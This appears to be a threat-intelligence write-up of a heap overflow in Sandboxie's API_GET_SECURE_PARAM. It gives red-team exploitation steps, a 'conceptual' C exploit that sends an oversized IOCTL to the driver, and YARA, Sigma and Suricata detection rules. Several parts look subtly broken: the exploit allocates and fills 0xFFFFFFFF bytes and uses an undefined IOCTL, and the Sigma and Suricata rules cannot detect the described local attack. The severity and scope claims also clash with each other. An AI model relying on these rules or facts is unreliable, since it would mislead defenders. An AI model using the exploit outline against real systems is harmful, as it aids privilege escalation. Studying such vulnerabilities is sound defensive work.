CVE-2025-46714

Executive Summary

CVE-2025-46714 is a critical heap-based buffer overflow vulnerability in Sandboxie, a sandbox-based isolation software for Windows NT-based operating systems. The flaw resides in the API_GET_SECURE_PARAM function, where an arithmetic overflow leads to a small memory allocation followed by an extremely large copy operation into that undersized buffer. This can be exploited by a local attacker to achieve arbitrary code execution with elevated privileges, potentially escaping the sandbox and compromising the host system. The vulnerability affects versions 1.3.0 through 1.15.11. The vendor has released version 1.15.12 to address the issue. No public proof-of-concept exploit is currently available, and the EPSS score is 0.0%, indicating low exploitation activity in the wild.

CVSS Breakdown & Threat Level

• CVSS Score: 7.8 (High)
• Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Local (L) – The attacker must have local access to the system.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – The attacker needs low-level privileges.
• User Interaction (UI): None (N) – No user interaction is required.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full disclosure of sensitive data is possible.
• Integrity (I): High (H) – Full compromise of system integrity is possible.
• Availability (A): High (H) – Full denial of service or system crash is possible.

Threat Level: High. The vulnerability allows for sandbox escape and potential host compromise, making it a critical risk for environments using Sandboxie for isolation.

Deep Dive & Mechanics

The vulnerability is a classic integer overflow leading to a heap-based buffer overflow. The API_GET_SECURE_PARAM function is responsible for retrieving secure parameters from the sandbox configuration. The function calculates the size of a buffer to allocate based on user-supplied input. Due to an arithmetic overflow, the calculated size becomes extremely small (e.g., 0 or a few bytes), while the subsequent copy operation uses a much larger size derived from the original input. This results in a heap buffer overflow, overwriting adjacent memory.

Technical Details:

• Vulnerable Function: API_GET_SECURE_PARAM
• Root Cause: Arithmetic overflow in size calculation.
• Impact: Heap overflow, leading to arbitrary code execution.
• Attack Vector: Local, low-privileged attacker.
• Prerequisites: The attacker must be able to interact with the Sandboxie driver or service.

The overflow can be triggered by providing a specially crafted request to the Sandboxie driver, causing the driver to allocate a small buffer and then copy a large amount of data into it. This can corrupt heap metadata or overwrite function pointers, leading to code execution in the context of the Sandboxie service (SYSTEM).

Vulnerable vs. Patched Code

The vulnerable code path is in the API_GET_SECURE_PARAM function. The exact code is not publicly available, but the fix in version 1.15.12 addresses the arithmetic overflow by properly validating the size calculation before allocation.

Vulnerable Code (Conceptual):

// Vulnerable: arithmetic overflow in size calculation
DWORD size = user_input_size + sizeof(HEADER);
// If user_input_size is large, size may overflow to a small value
LPVOID buffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, size);
// Then copy user_input_size bytes into the small buffer
memcpy(buffer, user_data, user_input_size); // Overflow!

Patched Code (Conceptual):

// Patched: validate size before allocation
DWORD size = user_input_size + sizeof(HEADER);
if (size < user_input_size) { // Check for overflow
    return ERROR_INVALID_PARAMETER;
}
LPVOID buffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, size);
if (buffer == NULL) {
    return ERROR_OUTOFMEMORY;
}
// Copy only up to the allocated size
memcpy(buffer, user_data, size - sizeof(HEADER));

Exploitation & Lab Setup

Red Team

Exploitation Steps:

1. Identify Target: Find a system running Sandboxie version 1.3.0 to 1.15.11.
2. Gather Information: Determine the Sandboxie driver version and service status.
3. Craft Payload: Create a malicious request to the Sandboxie driver that triggers the overflow. The request should include a large user_input_size value to cause the arithmetic overflow.
4. Trigger Overflow: Send the crafted request to the Sandboxie driver via the appropriate IOCTL.
5. Achieve Code Execution: The overflow overwrites a function pointer or heap metadata, redirecting execution to attacker-controlled shellcode.
6. Escalate Privileges: Since the Sandboxie service runs as SYSTEM, the attacker gains elevated privileges.

Lab Setup:

• Operating System: Windows 10/11 (64-bit)
• Software: Sandboxie version 1.15.11 (vulnerable)
• Tools: Visual Studio (for compiling exploit), WinDbg (for debugging), Python (for scripting)
• Exploit Code: No public exploit is available. The following is a conceptual example:

// Conceptual exploit for CVE-2025-46714
#include <windows.h>
#include <stdio.h>

int main() {
    HANDLE hDevice = CreateFileA("\\\\.\\Sandboxie", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("Failed to open device\n");
        return 1;
    }

    // Craft input to trigger overflow
    DWORD input_size = 0xFFFFFFFF; // Large value to cause overflow
    char *input_data = (char*)malloc(input_size);
    memset(input_data, 'A', input_size);

    DWORD bytes_returned;
    BOOL result = DeviceIoControl(hDevice, IOCTL_GET_SECURE_PARAM, input_data, input_size, NULL, 0, &bytes_returned, NULL);
    if (!result) {
        printf("IOCTL failed: %d\n", GetLastError());
    }

    free(input_data);
    CloseHandle(hDevice);
    return 0;
}

Blue Team

Detection Steps:

1. Monitor for Anomalous IOCTL Calls: Look for unusual DeviceIoControl calls to the Sandboxie driver with abnormally large input sizes.
2. Heap Corruption Detection: Use tools like Application Verifier or PageHeap to detect heap overflows.
3. Log Analysis: Check Windows Event Logs for crashes or errors related to Sandboxie (e.g., Event ID 1000 for application crashes).
4. Memory Forensics: Analyze memory dumps for signs of heap corruption or shellcode.

Mitigation:

• Immediate: Update to Sandboxie version 1.15.12 or later.
• Workaround: If patching is not possible, restrict local access to the system or disable the Sandboxie service.
• Monitoring: Enable advanced auditing for process creation and driver loading.

Indicators of Compromise (IOCs)

• File Hashes:
  • SbieDrv.sys (vulnerable version): SHA256 hash unknown, but version 1.15.11 is vulnerable.
• Registry Keys:
  • HKLM\SYSTEM\CurrentControlSet\Services\SbieDrv (Sandboxie driver service)
• Network Indicators:
  • None (local vulnerability)
• Behavioral Indicators:
  • Unusual DeviceIoControl calls to \\.\Sandboxie with large buffer sizes.
  • Heap corruption errors in application logs.
  • Unexpected crashes of the Sandboxie service (SbieSvc.exe).

Detection Engineering

YARA Rule

rule CVE_2025_46714_Sandboxie_HeapOverflow {
    meta:
        description = "Detects potential exploitation of CVE-2025-46714 in Sandboxie"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-46714"
    strings:
        $s1 = "API_GET_SECURE_PARAM" ascii wide nocase
        $s2 = "SbieDrv" ascii wide nocase
        $s3 = "HeapAlloc" ascii wide nocase
        $s4 = "memcpy" ascii wide nocase
    condition:
        all of ($s*) and filesize < 2MB
}

Sigma Rule

title: CVE-2025-46714 Sandboxie Heap Overflow Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects anomalous DeviceIoControl calls to the Sandboxie driver indicative of CVE-2025-46714 exploitation.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-46714
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\SbieSvc.exe'
        CommandLine|contains: 'DeviceIoControl'
    condition: selection
falsepositives:
    - Legitimate Sandboxie operations
level: high

Suricata Rule

alert ip any any -> any any (msg:"CVE-2025-46714 Sandboxie Heap Overflow Attempt"; content:"|00 00 00 00|"; depth:4; offset:0; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Update Sandboxie to version 1.15.12 or later. This is the only complete fix.
2. Workaround: If patching is not possible, restrict local access to the system or disable the Sandboxie service (SbieSvc.exe and SbieDrv.sys).
3. Monitoring: Enable advanced auditing for process creation and driver loading. Monitor for unusual DeviceIoControl calls.
4. Least Privilege: Ensure users have the minimum necessary privileges to reduce the impact of exploitation.
5. Application Control: Use application whitelisting to prevent unauthorized executables from running.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert